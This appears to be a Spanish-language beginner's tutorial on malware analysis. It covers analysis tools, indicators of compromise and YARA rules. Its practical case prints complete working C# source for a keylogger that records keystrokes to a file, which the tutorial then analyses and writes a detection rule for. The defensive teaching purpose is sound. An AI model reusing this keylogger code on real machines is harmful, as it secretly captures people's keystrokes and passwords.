Análisis estatico de malware para principiantes

Introducción

En el mundo de la ciberseguridad en estos últimos años ha sufrido un incremento importante en los tipos de Malware y cantidad de ataques a través de este vector. Es posible encontrar estadísticas sobre estos ataques en el siguiente recurso de la empresa Kaspersky: https://securelist.lat/it-threat-evolution-q1-2024-pc-statistics/98755/

¿Que es un Malware?

Un Malware es un software malicioso que puede dañar, interrumpir, robar o tomar control de un sistema informático sin el consentimiento del usuario. Existen distintos tipos de Malwares como:

  • Troyanos: Se hacen pasar por software legitimo para poder controlar tu sistema informático.
  • Ransomware: Cifra el disco del sistema informático víctima y pide un rescate para poder decifrarlo.
  • Spyware: Un software espía que registra lo que haces en el sistema informático y roba tus datos.
  • Gusano: Malware que explota distintas vulnerabilidades para propagarse de manera automática a través de la red

Análisis del Malware

Sección 1: Introducción al análisis de malware

Conceptos básicos

El Análisis de malware se puede dividir en dos enfoques principales:

  • Análisis estático: Consiste en examinar el malware sin ejecutarlo, intentando estudiar su código fuente:
    • Total: Utilizando decompiladores
    • Parcial: revisando cadenas de texto incrustados en el malware, llamadas de sistema operativo, archivos embebidos.
  • Análisis dinámico: Implica en ejecutar el malware en un entorno controlado para observar su comportamiento en tiempo real. permitiendo identificar acciones especificas que realiza el malware como la creación de archivos, conexiones con servidores remotos, alteración de configuraciones del sistema o explotación de vulnerabilidades. esto se puede realizar con un desensamblador el cual sirve para poder ver a nivel de instrucciones de ASM como se comporta el malware.

Preparación del entorno de trabajo

Para poder realizar un análisis dinámico seguro y efectivo es necesario contar con entornos aislados, estos entornos son conocidos como sandboxes y permiten ejecutar el malware sin riesgo a propagarse al hipervisor o a la red. Ademas es crucial contar con un conjunto de herramientas para su análisis

Sección 2: Herramientas para el análisis de Malware

Indicadores de compromiso (IoC)

Los indicadores de compromiso son artefactos forenses que indican posibles intruciones o actividades maliciosas. Existen algunas herramientas que pueden ayudar a obtener estos indicadores para poder incluirlos en la base de datos de tu sistema de protección como Antivirus o EDR:

  • VirusTotal: Una plataforma en línea que permite analizar archivos y URLs sospechosas utilizando múltiples motores antivirus.
  • ANY.RUN: Un sandbox interactivo que permite observar el comportamiento del malware en tiempo real, es necesario crear una cuenta de plan gratuito y la revisión solo esta limitada a 32bits en un entorno de Windows 7.
  • Hybrid Analysis: Plataforma de análisis que proporciona informes detallados sobre el comportamiento del malware.
  • Maltiverse: Base de datos de IOC que facilita la búsqueda de información sobre amenazas conocidas.
  • yara: Herramienta y lenguaje interprete orientada a encontrar patrones dentro de un ejecutable.

Recursos y Documentación

Para complementar el análisis, es útil tener acceso a documentación y recursos adicionales:

  • Xcyclopedia: Una enciclopedia de binarios que proporciona información detallada sobre como lo ocupan para atacar tu sistema.
  • Start.me: Un recurso compilado de herramientas y sitios útiles para el análisis de malware.
  • Forensics Tools: Colección de herramientas forenses para el análisis de archivos.
  • Detect It Easy: Herramienta que facilita la identificación de características de archivos ejecutables.
  • capa: Herramienta que identifica capacidades del ejecutable a analizar.
  • ILSpy: Decompilador de .NET
  • IDA Free: Version gratuita de IDA Pro, Ofrece características de analizará dinamico y desensamblado del ejecutable que se analizará.

Herramientas de Línea de Comandos

Las herramientas de línea de comandos son esenciales para el análisis forense y la inspección de archivos:

  • hexdump: Utilidad que muestra el contenido de archivos en formato hexadecimal.
  • strings: Extrae cadenas de texto legibles de archivos binarios.

Reglas YARA

YARA es una herramienta poderosa para la identificación de malware basada en patrones. Permite crear reglas que describen las características de los archivos maliciosos. A continuación, un ejemplo de una regla básica de YARA:

rule MalwareExample {
    meta:
        description = "Detects a specific type of malware"
    strings:
        $malware_string = "malicious string"
    condition:
        $malware_string
}

Sección 3: Metodología de Análisis de Malware

Análisis Estático

El análisis estático implica la inspección detallada del malware sin ejecutarlo. Esto puede incluir:

  • Desempaquetado de archivos: Usar herramientas como Detect It Easy para identificar el empaquetado del malware y desempaquetarlo.
  • Inspección del código: Utilizar utilidades como xxd y hexdump para examinar el código en formato hexadecimal.
  • Extracción de cadenas: Emplear la herramienta strings para extraer y analizar cadenas de texto presentes en el archivo.
  • Obtencion del codigo de fuente: Utilizar la herramienta ILSpy por ejemplo para obtener el codigo de un binario en .NET
Análisis Dinámico

El análisis dinámico se realiza ejecutando el malware en un entorno controlado para observar su comportamiento. Las herramientas como ANY.RUN y Hybrid Analysis son ideales para este propósito, ya que permiten:

  • Observar las interacciones del malware con el sistema y la red.
  • Identificar cambios en el sistema, como la creación o modificación de archivos y claves de registro.
  • Capturar y analizar tráfico de red generado por el malware. Dentro del análisis dinámico existen herramientas como IDA Free para realizar un debugging del ejecutable a bajo nivel, aun que su complejidad de uso puede ser muy alta.
Generación y Análisis de IOC

Los IOC son fundamentales para la detección y prevención de futuros ataques. Durante el análisis de malware, es crucial:

  • Extraer IOC: Identificar hash de archivos (md5, sha1, entre otros), direcciones IP, nombres de dominio y otros artefactos (strings llamativos como el nombre del autor que se encuentre en el mismo ejecutable).
  • Analizar IOC: Utilizar herramientas como VirusTotal y Maltiverse para buscar información adicional sobre los IOC extraídos.

Caso práctico

Utilizaremos el siguiente malware en .NET Core de demostración para analizarlo con las herramientas mencionadas

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
 
class Program
{
    // Importacion de la DLL user32.dll
    [DllImport("user32.dll")]
 
	// Uso de la WinApi GetAsyncKeyState usado para capturar teclas
    public static extern short GetAsyncKeyState(int vKey);
 
    static void Main(string[] args)
    {
        string filePath = Path.Combine(Environment.CurrentDirectory, "keylog.txt");
 
        while (true)
        {
            Thread.Sleep(10);
            for (int i = 0; i < 255; i++)
            {
	            // caputura de tecla que se almacena en la variable keyState
                int keyState = GetAsyncKeyState(i);
                if (keyState == 1 || keyState == -32767)
                {
					// Se imprime en la consola la tecla apretada (para debug)
                    Console.WriteLine((ConsoleKey)i);
                    // La tecla apretada se guarda en el archivo especificado en la variable filePath
                    File.AppendAllText(filePath, ((ConsoleKey)i).ToString());
                }
            }
        }
    }
}

1. Ejecución

Al ejecutar el malware y utilizar el sistema operativo obtenemos lo siguiente, por lo cual se deduce que es un keylogger, pero ahora viene lo interesante, utilizar las tecnicas mencionadas para poder realizar una caza de esta amenaza.

2. Analisis

Lo primero que es recomendado hacer es ver en que lenguaje esta programado el binario y conocer un poco su estructura, para eso ejecutaremos Detect It Easy

En la imagen tenemos de que fue compilado con el compilador visual C/C++, pero el malware esta hecho en C#, esto es por que a veces la herramienta no precisa que lenguaje se utilizo pero en compensación puede saber que tecnologia se ocupa.

Se pueden revisar los strings con esta herramienta, pero todo depende de como fue compilado el programa pueden existir ciertas protecciones que hagan que eviten filtrar información.

Se puede revisar la entropia en donde mientras la entropia sea mas alta, es mas probable de que el binario haya sido empaquetado por ejemplo con UPX o que hayan usado alguna obfuscacion, en este caso la entropia es parcialmente bajo, en este link te puede proporcionar informacion de como se evalua un binario utilizando la entropia como referencia: https://practicalsecurityanalytics.com/file-entropy/

Tambien es posible saber que DLLs importa el binario junto con sus llamadas al sistema operativo (WinAPIs), estas llamadas sirve enumerarlas para saber un poco que es lo que hace este ejecutable segun sus características. Hay llamadas del sistema particularmente peligrosas como GetAsyncKeyState que se utiliza en los keyloggers.

Teniendo esto provemos subiendo el malware a los testers de virus en internet

VirusTotal

https://www.virustotal.com

Al ingresar a virus total lo primero que se ve es un panel para subir archivos, los archivos subidos son analizados por los motores de virus total en busca de patrones sospechosos que podrían indicar que se trata de malware.

Al subir un archivo nos indican el link de términos y condiciones para poder saber como realizan el análisis y también que hacen con la muestra.

Se ha detectado en 5 provedores de seguridad de los 72 que utiliza VirusTotal

Análisis Virus Total

Luego de subir el archivo al VirusTotal podemos ver las características del archivo como los distintos hashes generados y su posible detección

Dentro del análisis entre otros elementos podemos encontrar 3 puntos importantes:

  • Nombre real del archivo: ImNotAVirus.dll (si se ubiera subido con otro nombre el archivo, el nombre real hubiera aparecido igualmente)
  • IoC del Malware
  • El archivo keylog.txt es escrito en el disco y su IoC
  • Está hecho con dotnet core 8.0.4

Es necesario tener especial enfasis a esta imagen dado a que nos da detalle de los hashes del archivo ejecutable

Si extendemos en la parte de keylog.txt podremos obtener su IoC

hybrid-analysis

https://www.hybrid-analysis.com/

Al igual que en virus total es posible subir nuestra muestra a Hybrid Analysis.

Cuando subimos el archivo nos pide aceptar los terminos y condiciones, es importante leerlos para saber como realizan el tratamiento de datos de los archivos subidos y sus terminos y condiciones.

Se configura las condiciones del ambiente para realizar el análisis, lo recomendado es hacerlo en Windows 10 u 11 con 64bit

Hybrid Analusis

Luego de ejecutado el análsis esperamos los resultados

Luego de analizado se detecta que es malicioso y se presisa su puntaje de amenaza y los indicadores que se detectaron

También se especifica las razones por las cuales fue detectado, en este caso fue por que el malware utiliza tecnicas de sigilo lo cual pudo haber sido por que utiliza llamadas directas a la WinApi

Al igual que en VirusTotal se muestran el IoC del archivo logkey.txt el cual es el archivo creado por el malware.

ILSpy

Como el malware esta en dotnet Core con el decompilador ILSpy se hace muy facil y limpio obtener el codigo de fuente del malware, como en este caso no fue ofuscado es muy legible el codigo.

3. Creando regla Yara

Dado a que tenemos los IoC necesarios para crear una regla Yara, nos pondremos manos a la obra:

Como se ve en la terminal la herramienta yara devuelve output por lo cual la regla funciona, es necesario recordar que esta regla yara no funciona para todos los malwares del tipo keylogger en dotnet core, sino que solo para este especifica muestra.